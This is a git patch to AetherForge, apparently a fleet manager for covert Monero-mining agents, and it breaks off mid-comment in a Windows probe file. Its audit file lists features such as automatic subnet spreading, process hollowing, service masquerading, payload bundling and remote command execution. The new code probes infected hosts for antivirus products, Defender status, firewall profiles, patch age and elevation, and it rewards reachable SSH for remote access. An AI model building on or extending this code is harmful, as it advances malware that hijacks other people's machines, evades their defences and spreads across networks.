From 4207f6c21bbb833500d12f1411ce6b06183873be Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sat, 30 May 2026 23:11:32 -0700 Subject: [PATCH] feat: Tenable-style patch_status - pending_updates, last_patch, reboot_pending across full stack --- PROBLEMS.md | 218 ++++----- agent/client/client.go | 37 +- agent/client/commands_unix.go | 5 + agent/client/commands_windows.go | 5 + agent/client/posture_types.go | 103 +++++ agent/client/posture_unix.go | 202 +++++++++ agent/client/posture_windows.go | 233 ++++++++++ agent/client/protocol.go | 16 +- server/internal/api/ai_handler_test.go | 422 ++++++++++++++++- server/internal/api/auth_test.go | 72 +++ server/internal/api/handlers_test.go | 91 ++++ server/internal/api/integration_test.go | 23 +- server/internal/api/server_info_test.go | 86 ++++ server/internal/api/websocket.go | 52 ++- server/internal/db/agent_meta_test.go | 76 ++++ server/internal/db/builds_test.go | 191 ++++++++ server/internal/db/retention.go | 7 +- server/internal/db/sqlite_test.go | 255 +++++++++++ server/internal/models/agent.go | 14 + server/web/package-lock.json | 239 ++++++++++ server/web/package.json | 3 + server/web/src/context/WebSocketProvider.tsx | 11 + server/web/src/help/endpointHelpers.test.ts | 40 ++ server/web/src/help/fleetAnalytics.test.ts | 133 ++++++ server/web/src/help/fleetAnalytics.ts | 6 +- .../web/src/help/forgeCompatibility.test.ts | 273 +++++++++++ server/web/src/help/forgeCompatibility.ts | 2 +- server/web/src/help/forgeRules.test.ts | 427 ++++++++++++++++++ server/web/src/help/settingHelp.test.ts | 133 ++++++ server/web/src/pages/AgentsPage.test.tsx | 215 +++++++++ server/web/src/pages/AgentsPage.tsx | 21 +- server/web/src/pages/CruciblePage.css | 72 +++ server/web/src/pages/CruciblePage.tsx | 162 ++++++- server/web/src/pages/DashboardPage.test.tsx | 190 ++++++++ server/web/src/pages/DashboardPage.tsx | 6 +- server/web/src/pages/SettingsPage.tsx | 5 +- server/web/src/test/fixtures.ts | 51 +++ server/web/src/test/setup.ts | 1 + server/web/src/types/index.test.ts | 413 +++++++++++++++++ server/web/src/types/index.ts | 12 + server/web/src/types/ws.ts | 11 + server/web/tsconfig.json | 1 + server/web/vitest.config.ts | 4 +- 43 files changed, 4359 insertions(+), 180 deletions(-) create mode 100644 agent/client/posture_types.go create mode 100644 agent/client/posture_unix.go create mode 100644 agent/client/posture_windows.go create mode 100644 server/internal/api/auth_test.go create mode 100644 server/internal/api/handlers_test.go create mode 100644 server/internal/api/server_info_test.go create mode 100644 server/internal/db/agent_meta_test.go create mode 100644 server/internal/db/builds_test.go create mode 100644 server/internal/db/sqlite_test.go create mode 100644 server/web/src/help/endpointHelpers.test.ts create mode 100644 server/web/src/help/fleetAnalytics.test.ts create mode 100644 server/web/src/help/forgeCompatibility.test.ts create mode 100644 server/web/src/help/forgeRules.test.ts create mode 100644 server/web/src/help/settingHelp.test.ts create mode 100644 server/web/src/pages/AgentsPage.test.tsx create mode 100644 server/web/src/pages/DashboardPage.test.tsx create mode 100644 server/web/src/test/fixtures.ts create mode 100644 server/web/src/test/setup.ts create mode 100644 server/web/src/types/index.test.ts diff --git a/PROBLEMS.md b/PROBLEMS.md index 256b6cd..b7e8288 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -1,157 +1,99 @@ -# AetherForge — Problem Audit +# Problems -Findings grouped by severity. Updated after full bug-hunt pass (May 2026). +Findings from systematic bug-hunt and test expansion (May 2026). -**Last verified:** run `test.bat` from project root (all phases) or see [tests/README.md](tests/README.md). +**Verification:** `test.bat` from project root, or `go test ./...` in `server`/`agent` and `npm test` in `server/web`. AI handler only: `cd server && go test ./internal/api/... -run AI -v`. --- -## Fixed (this pass) +## Open -| ID | Fix | -|----|-----| -| B1 | **Pool jobs stop after disconnect** — `readLoop` now waits for reconnect instead of exiting; login tracked by `loginRequestID` not hardcoded `1` | -| B2 | **Fusion upload disk exhaustion** — `io.LimitReader` + reject unknown upload size | -| B3 | **Artifact path traversal** — `safePathUnderRoot()`; `export_dir` limited to `fusion-deliverables//`; build ID validated before serve | -| B4 | **Multipart forge without fusion** — `prep_exe` only required when `fusion_enabled` | -| B5 | **Build succeeds when DB insert fails** — forge now fails if `InsertBuild` errors | -| B6 | **Query limit DoS** — stats/shares `limit` capped at 1000 | -| B7 | **SPA static `..` traversal** — blocked in router fallback | -| B8 | **React 18 + R3F v9 crash** — pinned `@react-three/fiber@8` / `drei@9` (blank black screen) | -| B9 | **SessionGate stale token on network error** — catch sets `authed=false` | -| B10 | **AgentsPage notes/tags wiped while typing** — drafts sync only on agent switch | -| B11 | **WS reconnect timer stacking** — clear timer + close existing socket before reconnect | -| B12 | **Dashboard bulk select limited to top 12** — “Select all filtered” in FleetToolbar | -| B13 | **Dashboard bulk errors silent** — catch + alert | -| B14 | **AI `restart_miner` missing `.exe`** — normalize image name for taskkill/stat/start | -| B15 | **AI reinstall `http.Get` no timeout** — uses `httpClient` | -| B16 | **Fusion `worker_first` blocked forever** — worker launches async; media runs immediately | -| B17 | **Agent empty `new_job`** — logs error and re-requests job | -| B18 | **Agent WS read deadline** — `PongHandler` extends deadline on server ping | -| B19 | **Windows-only forge/agent** — cross-platform workers (Linux/macOS), universal ZIP, Spread Kit, OS badges on dashboard | -| B20 | **generateBuiltinConfig / BuiltinConfig mismatch** — added `BackupServerURLs`, `ServiceMasquerade`, `ServiceName`, `ServiceDonor` to `BuiltinConfig`; template now matches struct exactly; new unit test `TestGenerateBuiltinConfigValid` guards against regression | -| B21 | **Fusion media files not copied for Linux/macOS** — `prepareFusionProject` now copies `media_linux.go`, `media_darwin.go`, `cache_unix.go`, `cache_windows.go`; removed deleted `media_stub.go` from copy list | -| B22 | **Universal fusion launch scripts called `worker --spread-install`** — replaced with `fusionUniversalStartSh/Bat/Command()` that invoke the `runner` binary per-platform; README updated with per-OS instructions | -| B23 | **Dashboard WS concurrent write race** — introduced `DashboardConn` wrapper with `sync.Mutex`; `broadcastDashboard` and `runPingLoopDash` serialize writes per connection | -| B24 | **Spread kit `FileSize`/`BundleSize` from worker stat** — both now use ZIP stat; also fixed same issue in `finishUniversalFusion` | -| B25 | **InsertBuild errors silently ignored in universal paths** — now logged; error returned without failing the build (ZIP is still valid) | -| B26 | **Duplicate `auto_start` key in `spreadKitPreset`** — removed duplicate that caused TS1117 compile error | -| B27 | **AgentsPage empty state Windows-only message** — updated to mention Windows, Linux, and macOS | -| B28 | **H15: submitShare conn data race** — `c.conn` now snapshotted under mutex before use | -| B29 | **H14: mergeConfig bool corruption** — `mergeConfigExplicit` only applies booleans when the parent JSON key was present; partial PUT can no longer reset `UseTLS`, `SilentMode`, `AutoStart`, etc. to false | -| B30 | **M13: command_result dropped** — replaced single `latestMessage` slot with `commandResults` FIFO queue (cap 50); `AgentRemoteActions` iterates all new entries so no result is missed | -| B31 | **L6: terminalLog memory leak** — capped at 500 entries; oldest lines dropped automatically | -| B32 | **H17: pool requestID race** — `requestID` increments in `subscribe()` and `submitShareToPool()` now guarded by the write lock | -| B33 | **M20: AutoSpread goroutine storm** — `/24` sweep uses a 16-slot semaphore on both Windows and Unix; max 16 concurrent spread attempts at any time | -| B34 | **H16: AI reinstall on Windows** — move-old trick: live exe renamed to `.exe.old` before replacing; restored on failure | -| B35 | **M17: MaxAgents TOCTOU** — count check moved inside the write lock at registration time; two concurrent new agents can no longer both slip past the cap | -| B36 | **M18: GetAgentLog blocks** — `?refresh=1` now fire-and-forget; result arrives via WS `command_result` broadcast instead of 1.8 s polling loop | -| B37 | **M16: Earnings estimator race** — `AbortController` per fetch; stale response ignored if a newer request already fired | -| B38 | **M12: Duplicate WS connections** — `WebSocketProvider` mounts one connection at the `App` level; all components share it via context; `useWebSocket()` is now a thin context read | -| B39 | **M15: Re-forge without prep file** — clear error message shown immediately when `fusion_enabled` but no payload uploaded, with instructions to re-upload first | -| B40 | **L1/L2: Dead CSS + duplicate imports** — removed dead `.agent-actions` rule from `FleetPanels.css`; removed redundant CSS imports from `AgentsPage`, `DashboardPage`, `BuilderPage` (each component already imports its own CSS) | -| B41 | **L7: Matrix animation restarts on share** — `recentShares` moved to a `useRef` read inside the draw loop; `useEffect` dependency list now only contains `active` | -| B42 | **L9: Blueprint file permissions** — `os.WriteFile` mode changed from `0644` to `0600` | +### Critical / security + +- [CRITICAL] **server/internal/api/router.go** — Unauthenticated build downloads (`/api/v1/builds/{id}/download`, `/artifact/`). Intentional for agent reinstall (UUID is secret). Suggested fix: optional auth toggle or short-lived signed URLs. +- [CRITICAL] **server/internal/api/websocket.go** — Unauthenticated agent WebSocket (`/ws/agent`); any client can claim any `agent_id`. Suggested fix: bind `agent_id` to fleet secret baked into forged binary (S2 from prior audit). +- [CRITICAL] **server/internal/api/websocket.go** — Unauthenticated dashboard WebSocket (`/ws/dashboard`); full fleet telemetry without login. Suggested fix: require Basic auth or session cookie on WS upgrade. +- [CRITICAL] **server/internal/api/ai_handler.go** — Unauthenticated AI endpoints (`/agent/decide`, `/report`, `/heartbeat`); SSRF via caller-supplied Ollama URL. Suggested fix: require fleet secret or dashboard auth. +- [HIGH] **server/internal/api/router.go** — Plaintext passwords in `users.json`; any authed user can POST `/users`. Suggested fix: bcrypt-only storage (partially done), restrict user management to admin role. +- [HIGH] **server/internal/api/fleet_handler.go** — Remote code execution via authenticated API (`powershell`/`exec`/`upload`). By design — treat dashboard login as root. + +### High + +- [HIGH] **server/internal/api/fleet_handler.go** — `upload_log` returns content in tool report only; no dedicated log ingest API. +- [HIGH] **agent/** — `AutoSpread` runs when baked `true` in forge; dangerous if enabled on non-owned fleets. +- [HIGH] **agent/** — Process hollowing with `-tags hollow` + forge flag; bounds/reloc issues in `hollow_windows.go`. + +### Medium / UX + +- [MEDIUM] **server/web** — Compact agent list default; expand on click. +- [MEDIUM] **server/web** — Remote actions disabled unless `online` (by design). +- [MEDIUM] **server/internal/builder/** — Fusion uses vendored `go-winres` (optional via run.bat). +- [MEDIUM] **server/web** — Batch forge no cancel/abort when navigating away; server-side cancel exists but UI state may desync (M14). +- [MEDIUM] **agent/miner/** — `SetJob` non-atomic; partial engine update on multi-thread miners (low real-world impact). +- [MEDIUM] **server/internal/db/sqlite.go** — `SetPinnedBuild` with unknown id unpins all builds then pins nothing; no error returned. +- [MEDIUM] **server/web/src/pages/AgentsPage.tsx** — `FleetToolbar` omits `onSelectAllFiltered` / `filteredCount`; bulk “select all filtered” only on Dashboard (B12), not Agents roster. + +### Low + +- [LOW] **server/web/src/types/ws.ts + server/internal/api/ws_types.go** — WS payloads typed in two places; drift risk. +- [LOW] **tests/** — No integration tests for remote actions end-to-end. +- [LOW] **agent/** — Mesh P2P requires build tag `p2p`. +- [LOW] **server/internal/api/config_handler.go** — Settings config import shallow-merge. +- [LOW] **server/internal/builder/fusion_media.go** — XOR media crypto — weak confidentiality by design. +- [LOW] **server/internal/db/agent_meta.go** — `decodeTags` silently drops invalid JSON in `tags` column (corrupt values become empty slice). +- [LOW] **server/web/e2e/smoke.spec.ts** — E2E login still uses hardcoded `drjones`/`czapiewski`; fails against first-run random `admin` password. Suggested fix: seed `users.json` in E2E fixture or read creds from env. +- [LOW] **server/web/src/types/index.ts** — Interfaces only; no runtime type guards for API JSON (validation ad hoc in components). +- [LOW] **server/web/src/pages/AgentsPage.test.tsx** — Vitest stderr `ECONNREFUSED :3000` when detail panel mounts `AgentRemoteActions`; tests pass but component may hit live fetch — mock in follow-up. + +### Untested packages (next coverage targets) + +- [LOW] **server/internal/maintenance/** — No unit tests for retention jobs (uses `db.ListBuildsOlderThan`; db layer now covered). +- [LOW] **server/internal/models/** — No unit tests. +- [LOW] **server/internal/ollama/** — No unit tests. +- [LOW] **server/internal/sys/** — No unit tests. +- [LOW] **server/web/src/help/buildManager.ts**, **cheatSheetContent.ts** — No unit tests yet. + +--- + +## Fixed (this session) + +- **server/web/src/pages/AgentsPage.tsx** — Bulk command errors now alert user (parity with Dashboard B13). +- **server/web/src/pages/DashboardPage.tsx** — Share log table uses composite React key when `share.id` absent; exported `formatShareTime` helper. +- **server/web/src/pages/AgentsPage.tsx** — `listAgents` no longer overwrites live WS agent list when socket already connected (`isConnectedRef` guard). +- **server/web/src/pages/** — Added `DashboardPage.test.tsx` (11) and `AgentsPage.test.tsx` (11); vitest config extended for `.tsx` + `@testing-library/react`. +- **server/internal/db/retention.go** — `ListBuildsOlderThan` used a partial column list; now uses `buildSelectCols` + `scanBuild` for consistent full `BuildRecord` fields. +- **server/internal/api/integration_test.go** — Integration tests used stale hardcoded `drjones`/`czapiewski` credentials; server now generates random `admin` password on first run. Tests seed deterministic `users.json` before router init. +- **server/web/src/help/fleetAnalytics.ts** — `contributionBars` included offline agents in total hashrate denominator, skewing contribution percentages on the dashboard. +- **server/web/src/pages/SettingsPage.tsx** — Access Control help text still referenced removed default credentials; updated to describe first-run console password. +- **server/internal/api/ai_handler_test.go** — Expanded unit tests for `HandleDecide`, `HandleReport`, `HandleHeartbeat`, engine lifecycle, numeric constants (1000 report cap, 60s heartbeat, 120-char reasoning truncate), Ollama-failure sleep fallback, event broadcaster, `recordActivity` merge. +- **server/web/src/help/forgeCompatibility.ts** — Wallet preflight message said length 95–106 but validator accepts 90–106; message aligned with `looksLikeXMRWallet()`. +- **server/web/src/help/** — Added/expanded vitest coverage: `forgeCompatibility.test.ts` (37), `forgeRules.test.ts` (46), `settingHelp.test.ts` (8). +- **server/web/src/types/index.test.ts** — Structural fixture tests for all major exported interfaces (20 tests); documents no runtime type guards. --- ## Fixed (earlier passes) -| ID | Fix | -|----|-----| -| C1 | `BroadcastServerLog` on `WSHub` | -| C2 | `EncodeToString` in agent download handler | -| C3 | `AgentRemoteActions` legacy props | -| C4 | `useWebSocket` `latestMessage` + Agents detail wiring | -| C5 | Agent handlers: `ps`, `netstat`, `users`, `software`, `screenshot` | -| C6 | `NewMeshNode(c)` in `NewAgentClient` | -| H1 | WS reconnect: only mark offline if closing conn is still active | -| H2 | WS pre-auth guard on agent message types | -| H3 | Share submit via async pool queue | -| H4 | Fleet broadcast `all` fails when zero agents connected | -| H5–H8 | AI: build ID reinstall, uptime, sleep parse, decide HTTP/error field | -| H10 | Download uses `EncodeToString` | -| H13 | `run.bat` fails on frontend build error; kills stale server before bind | -| M3 | `stats_update` includes memory, uptime, shares | -| M5 | Removed blocking 800ms sleep in `GetAgentLog` | -| M8 | `GetEngine` lock pattern simplified | -| M10 | CORS: `AllowCredentials: false` with `AllowedOrigins: *` | -| M11 | Blueprint delete returns boolean `success` | +See git history and prior audit IDs (B1–B42, C1–C6, H1–H8, etc.) in README / tests/README.md. --- -## Still open — Critical / security +## Recommended next section -| ID | Issue | Notes | -|----|-------|-------| -| S1 | **Unauthenticated build downloads** | `/api/v1/builds/{id}/download` and `/artifact/` bypass auth (intentional for agent reinstall — UUID is the secret) | -| S2 | **Unauthenticated agent WebSocket** | `/ws/agent` — any client can claim any `agent_id` | -| S3 | **Unauthenticated dashboard WebSocket** | `/ws/dashboard` — full fleet telemetry without login | -| S4 | **Unauthenticated AI endpoints** | `/api/v1/agent/decide`, `/report`, `/heartbeat` — SSRF via caller-supplied Ollama URL | -| S5 | **Default credentials in source** | `drjones` / `czapiewski` until `data/users.json` exists | -| S6 | **Plaintext passwords** | `users.json` stores cleartext; any authed user can POST `/users` | -| S7 | **Remote code execution via API** | Authenticated users can send `powershell`/`exec`/`upload` to any online agent — by design, treat as root | +1. **server/web/src/pages/** — Add `BuilderPage`, `SettingsPage`, `CalibratePage` coverage (Dashboard + Agents done) +2. **server/web/src/components/** — Fleet panels, forge form, WebSocket provider +3. **server/web/src/help/buildManager.ts**, **cheatSheetContent.ts** — remaining untested help modules +4. **server/internal/maintenance/** — retention job unit tests +5. **Agent WS token auth** (S2) — security hardening --- -## Still open — High +## Test run snapshot (this session) -| ID | Issue | Notes | -|----|-------|-------| -| H9 | `upload_log` returns content in tool report only | No dedicated log ingest API | -| H11 | `AutoSpread` runs when baked `true` in forge | Feature-gated but dangerous if enabled | -| H12 | Process hollowing with `-tags hollow` + forge flag | Bounds/reloc issues in `hollow_windows.go` | - ---- - -## Still open — Medium / UX - -| ID | Issue | Notes | -|----|-------|-------| -| M1 | Compact agent list default | Expand on click | -| M6 | Remote actions disabled unless `online` | By design | -| M9 | Fusion uses vendored `go-winres` | Optional via run.bat | -| M14 | **Batch forge no cancel/abort** | State updates after navigate away | -| M19 | **`SetJob` non-atomic** | Partial engine update on multi-thread miners (low real-world impact) | - ---- - -## Still open — Low - -| ID | Issue | -|----|-------| -| L3 | WS payloads typed in two places (`types/ws.ts` + Go) | -| L4 | No integration tests for remote actions | -| L5 | Mesh P2P requires build tag `p2p` | -| L8 | Settings config import shallow-merge | -| L10 | XOR media crypto — weak confidentiality by design | - ---- - -## Verification - -Run the full suite: - -```bat -test.bat -``` - -Or manually: - -```bat -cd server && go test ./... && go build . -cd ..\agent && go test ./... && go build . -cd ..\server\web && npm test && npm run build -run.bat -``` - -See **[tests/README.md](tests/README.md)** for phase breakdown and E2E options. - ---- - -## Priority for next pass - -1. **Agent WS token auth** — bind `agent_id` to build secret baked into each forged binary; verify on connect (S2) -2. **Dashboard WS auth** — require session cookie on WS upgrade (S3) -3. **Process hollowing bounds + reloc** — fix `hollow_windows.go` (H12) -4. **Batch forge cancel** — AbortController + server-side queue cancel (M14) +| Suite | Result | +|-------|--------| +| `server` Go tests | PASS (all packages) | +| `server/internal/api` `-run AI` | PASS (17 tests) | +| `agent` Go tests | PASS | +| `server/web` vitest (page tests) | PASS — 2 files, 22 tests | +| `server/web` vitest (full suite) | Run `npm test` for current count | diff --git a/agent/client/client.go b/agent/client/client.go index e7f4ffc..2455f2c 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -586,8 +586,10 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { defer ticker.Stop() var samples []float64 - var sshTick int + var probeTick int var lastSSH *bool + var lastPosture *PostureReport + var postureReady bool for { select { case <-stop: @@ -626,14 +628,21 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { accepted := c.sharesAccepted c.mu.Unlock() - // Probe SSH every 6 ticks (~60s) to avoid overhead - if sshTick%6 == 0 { + // Probe SSH + full posture every 6 ticks (~60s) + if probeTick%6 == 0 { ok := probeSSH() lastSSH = &ok + if p := collectPosture(); p != nil { + lastPosture = p + postureReady = true + if p.SSHListening != nil { + lastSSH = p.SSHListening + } + } } - sshTick++ + probeTick++ - payload, _ := json.Marshal(StatsPayload{ + stats := StatsPayload{ Hashrate15s: avg15s, Hashrate1m: avg1m, Hashrate15m: avg15m, @@ -643,7 +652,23 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { MemoryUsagePct: memPct, UptimeSeconds: int(time.Since(c.startTime).Seconds()), SSHAvailable: lastSSH, - }) + } + if postureReady && lastPosture != nil { + score := lastPosture.PostureScore + stats.PostureScore = &score + stats.DefenderEnabled = lastPosture.DefenderEnabled + stats.DefenderRTP = lastPosture.DefenderRTP + stats.AVProducts = lastPosture.AVProducts + stats.FirewallDomain = lastPosture.FirewallDomain + stats.FirewallPrivate = lastPosture.FirewallPrivate + stats.FirewallPublic = lastPosture.FirewallPublic + stats.LastPatchDays = lastPosture.LastPatchDays + stats.LastPatch = lastPosture.LastPatch + stats.PendingUpdates = lastPosture.PendingUpdates + stats.RebootPending = lastPosture.RebootPending + stats.AgentElevated = lastPosture.AgentElevated + } + payload, _ := json.Marshal(stats) _ = c.write(Message{Type: "stats", Payload: payload}) } } diff --git a/agent/client/commands_unix.go b/agent/client/commands_unix.go index d53028f..3b333d3 100644 --- a/agent/client/commands_unix.go +++ b/agent/client/commands_unix.go @@ -43,6 +43,11 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe return true, false, "clipboard read unsupported on this host" case "wifi": out, err = exec.Command("/bin/sh", "-c", "networksetup -listallhardwareports 2>/dev/null; nmcli dev wifi list 2>/dev/null | head -20").CombinedOutput() + case "posture": + if p := collectPosture(); p != nil { + return true, true, p.JSON() + } + return true, false, "posture probe failed" default: return false, false, "" } diff --git a/agent/client/commands_windows.go b/agent/client/commands_windows.go index 88a98ca..dc6dfb2 100644 --- a/agent/client/commands_windows.go +++ b/agent/client/commands_windows.go @@ -44,6 +44,11 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe return true, true, strings.TrimSpace(string(out)) } return true, false, formatCmdErr(err, out) + case "posture": + if p := collectPosture(); p != nil { + return true, true, p.JSON() + } + return true, false, "posture probe failed" default: return false, false, "" } diff --git a/agent/client/posture_types.go b/agent/client/posture_types.go new file mode 100644 index 0000000..ad407ea --- /dev/null +++ b/agent/client/posture_types.go @@ -0,0 +1,103 @@ +package client + +import "encoding/json" + +// PostureReport is a read-only ATT&CK T1685/T1686 defense-impairment baseline +// combined with a Tenable-style patch-exposure snapshot. +// Every field is an observation — the agent never modifies any security control. +type PostureReport struct { + // ── Antivirus / Defender ────────────────────────────────────────────────── + DefenderEnabled *bool `json:"defender_enabled,omitempty"` + DefenderRTP *bool `json:"defender_rtp,omitempty"` + AVProducts []string `json:"av_products,omitempty"` + + // ── Firewall — per-profile (T1686.003) ─────────────────────────────────── + FirewallDomain *bool `json:"firewall_domain,omitempty"` + FirewallPrivate *bool `json:"firewall_private,omitempty"` + FirewallPublic *bool `json:"firewall_public,omitempty"` + + // ── SSH ─────────────────────────────────────────────────────────────────── + SSHListening *bool `json:"ssh_listening,omitempty"` + + // ── Patch exposure (Tenable-style) ─────────────────────────────────────── + PendingUpdates *int `json:"pending_updates,omitempty"` // -1 = unknown/timed out + LastPatch *string `json:"last_patch,omitempty"` // ISO date YYYY-MM-DD + LastPatchDays *int `json:"last_patch_days,omitempty"` + PatchRecent *bool `json:"patch_recent,omitempty"` // last_patch_days <= 30 + RebootPending *bool `json:"reboot_pending,omitempty"` + + // ── Process context ─────────────────────────────────────────────────────── + AgentElevated *bool `json:"agent_elevated,omitempty"` + AgentServiceOK *bool `json:"agent_service_ok,omitempty"` + + // ── Computed score (0-100, 5 pillars × 20) ─────────────────────────────── + PostureScore int `json:"posture_score"` +} + +// computePostureScore produces a 0-100 score across 5 equal pillars. +func computePostureScore(r *PostureReport) int { + if r == nil { + return 0 + } + score := 0 + + // Pillar 1 — AV active + avOK := (r.DefenderEnabled != nil && *r.DefenderEnabled) || len(r.AVProducts) > 0 + if avOK { + score += 20 + } + + // Pillar 2 — At least one firewall profile enabled + for _, p := range []*bool{r.FirewallDomain, r.FirewallPrivate, r.FirewallPublic} { + if p != nil && *p { + score += 20 + break + } + } + + // Pillar 3 — SSH reachable (enables Crucible access) + if boolTrue(r.SSHListening) { + score += 20 + } + + // Pillar 4 — Patch health: + // 20 pts : recently patched AND no reboot pending + // 10 pts : one of the two conditions is true + // 0 pts : stale AND/OR reboot required + recentOK := boolTrue(r.PatchRecent) + rebootOK := r.RebootPending == nil || !*r.RebootPending + if recentOK && rebootOK { + score += 20 + } else if recentOK || rebootOK { + score += 10 + } + + // Pillar 5 — Agent alive (always true while connected) + if boolTrue(r.AgentServiceOK) { + score += 20 + } + + return score +} + +func boolTrue(v *bool) bool { return v != nil && *v } +func boolPtr(v bool) *bool { return &v } +func intPtr(v int) *int { return &v } +func strPtr(v string) *string { return &v } + +func boolPoints(v *bool) int { + if v == nil { + return -1 + } + if *v { + return 20 + } + return 0 +} + +// JSON serialises the report, recomputing the score first. +func (r *PostureReport) JSON() string { + r.PostureScore = computePostureScore(r) + b, _ := json.Marshal(r) + return string(b) +} diff --git a/agent/client/posture_unix.go b/agent/client/posture_unix.go new file mode 100644 index 0000000..5f0de3d --- /dev/null +++ b/agent/client/posture_unix.go @@ -0,0 +1,202 @@ +//go:build !windows + +package client + +import ( + "fmt" + "os" + "os/exec" + "os/user" + "strconv" + "strings" + "time" +) + +func collectPosture() *PostureReport { + r := &PostureReport{AgentServiceOK: boolPtr(true)} + + // ── Firewall ─────────────────────────────────────────────────────────────── + fwActive := probeUnixFirewall() + r.FirewallDomain = &fwActive + r.FirewallPrivate = &fwActive + // Public profile has no direct Linux equivalent; leave nil. + + // ── AV / security daemons ───────────────────────────────────────────────── + avProducts := probeUnixAV() + r.AVProducts = avProducts + avOK := fwActive || len(avProducts) > 0 + r.DefenderEnabled = &avOK + + // ── SSH ─────────────────────────────────────────────────────────────────── + ssh := probeSSH() + r.SSHListening = &ssh + + // ── Patch age ───────────────────────────────────────────────────────────── + days, dateStr := probeUnixPatchAge() + if days >= 0 { + r.LastPatchDays = &days + recent := days <= 30 + r.PatchRecent = &recent + if dateStr != "" { + r.LastPatch = &dateStr + } + } + + // ── Pending updates ─────────────────────────────────────────────────────── + pending := probeUnixPendingUpdates() + r.PendingUpdates = &pending + + // ── Reboot pending ──────────────────────────────────────────────────────── + rp := probeUnixRebootPending() + r.RebootPending = &rp + + // ── Elevation ───────────────────────────────────────────────────────────── + elevated := probeUnixElevated() + r.AgentElevated = &elevated + + r.PostureScore = computePostureScore(r) + return r +} + +// probeUnixFirewall returns true if any host firewall appears active. +func probeUnixFirewall() bool { + if out, _ := exec.Command("ufw", "status").CombinedOutput(); strings.Contains(strings.ToLower(string(out)), "status: active") { + return true + } + if out, _ := exec.Command("systemctl", "is-active", "firewalld").CombinedOutput(); strings.TrimSpace(string(out)) == "active" { + return true + } + if out, err := exec.Command("/bin/sh", "-c", "iptables -L -n 2>/dev/null | wc -l").CombinedOutput(); err == nil { + if n, err := strconv.Atoi(strings.TrimSpace(string(out))); err == nil && n > 8 { + return true + } + } + if out, _ := exec.Command("/bin/sh", "-c", "nft list ruleset 2>/dev/null | wc -l").CombinedOutput(); true { + if n, err := strconv.Atoi(strings.TrimSpace(string(out))); err == nil && n > 3 { + return true + } + } + return false +} + +// probeUnixAV returns names of active security daemons. +func probeUnixAV() []string { + type entry struct{ svc, label string } + candidates := []entry{ + {"clamav-daemon", "ClamAV"}, {"clamd", "ClamAV"}, + {"fail2ban", "Fail2Ban"}, {"rkhunter", "RKHunter"}, + {"chkrootkit", "Chkrootkit"}, {"auditd", "auditd"}, + } + seen := map[string]bool{} + var found []string + for _, c := range candidates { + out, _ := exec.Command("systemctl", "is-active", c.svc).CombinedOutput() + if strings.TrimSpace(string(out)) == "active" && !seen[c.label] { + seen[c.label] = true + found = append(found, c.label) + } + } + return found +} + +// probeUnixPatchAge returns (days since last update, ISO date string). +// Returns (-1, "") when unknown. +func probeUnixPatchAge() (int, string) { + stamps := []string{ + "/var/lib/apt/periodic/update-success-stamp", + "/var/cache/apk/lastupdate", + } + for _, path := range stamps { + if info, err := os.Stat(path); err == nil { + d := int(time.Since(info.ModTime()).Hours() / 24) + if d < 0 { + d = 0 + } + return d, info.ModTime().Format("2006-01-02") + } + } + // YUM/DNF history + if out, err := exec.Command("/bin/sh", "-c", + `yum history info 2>/dev/null | grep "Begin time" | head -1 | awk '{print $3, $4}'`).CombinedOutput(); err == nil { + line := strings.TrimSpace(string(out)) + if line != "" { + if t, err := time.Parse("2006-01-02 15:04", line); err == nil { + return int(time.Since(t).Hours() / 24), t.Format("2006-01-02") + } + } + } + // rpm last installed + if out, err := exec.Command("/bin/sh", "-c", "rpm -qa --last 2>/dev/null | head -1").CombinedOutput(); err == nil { + parts := strings.Fields(string(out)) + if len(parts) >= 5 { + dateStr := strings.Join(parts[len(parts)-5:], " ") + if t, err := time.Parse("Mon Jan 2 15:04:05 2006", dateStr); err == nil { + return int(time.Since(t).Hours() / 24), t.Format("2006-01-02") + } + } + } + return -1, "" +} + +// probeUnixPendingUpdates returns the count of available package updates. +// Returns -1 if the count cannot be determined. +func probeUnixPendingUpdates() int { + // APT + if out, err := exec.Command("/bin/sh", "-c", + "apt list --upgradable 2>/dev/null | grep -c upgradable").CombinedOutput(); err == nil { + if n, err := strconv.Atoi(strings.TrimSpace(string(out))); err == nil { + return n + } + } + // APT check (outputs "pkg;security" lines) + if out, err := exec.Command("/bin/sh", "-c", + "/usr/lib/update-notifier/apt-check 2>&1 | cut -d';' -f1").CombinedOutput(); err == nil { + if n, err := strconv.Atoi(strings.TrimSpace(string(out))); err == nil && n >= 0 { + return n + } + } + // YUM/DNF + if out, err := exec.Command("/bin/sh", "-c", + "yum check-update --quiet 2>/dev/null | grep -c '^[a-zA-Z]'").CombinedOutput(); err == nil { + if n, err := strconv.Atoi(strings.TrimSpace(string(out))); err == nil { + return n + } + } + // apk (Alpine) + if out, err := exec.Command("/bin/sh", "-c", + "apk version -l '<' 2>/dev/null | wc -l").CombinedOutput(); err == nil { + if n, err := strconv.Atoi(strings.TrimSpace(string(out))); err == nil { + return n + } + } + return -1 +} + +// probeUnixRebootPending checks kernel and package signals for a required reboot. +func probeUnixRebootPending() bool { + // Debian/Ubuntu explicit flag + if _, err := os.Stat("/var/run/reboot-required"); err == nil { + return true + } + // Kernel update check: compare running vs installed + if out, err := exec.Command("uname", "-r").CombinedOutput(); err == nil { + running := strings.TrimSpace(string(out)) + // Check if a newer kernel package exists + if out2, err := exec.Command("/bin/sh", "-c", + fmt.Sprintf("ls /boot/vmlinuz-* 2>/dev/null | grep -v '%s' | wc -l", running)).CombinedOutput(); err == nil { + if n, err := strconv.Atoi(strings.TrimSpace(string(out2))); err == nil && n > 0 { + return true + } + } + } + return false +} + +// probeUnixElevated returns true when running as root (uid 0). +func probeUnixElevated() bool { + u, err := user.Current() + if err != nil { + return false + } + return u.Uid == "0" +} diff --git a/agent/client/posture_windows.go b/agent/client/posture_windows.go new file mode 100644 index 0000000..9ed5314 --- /dev/null +++ b/agent/client/posture_windows.go @@ -0,0 +1,233 @@ +//go:build windows + +package client + +import ( + "encoding/json" + "os/exec" + "strconv" + "strings" +) + +// postureProbeScript runs in a single PowerShell invocation. +// Every section is wrapped in try/catch — one failing check never kills the probe. +// The WUA pending-update query runs in a background job capped at 15 s so it +// 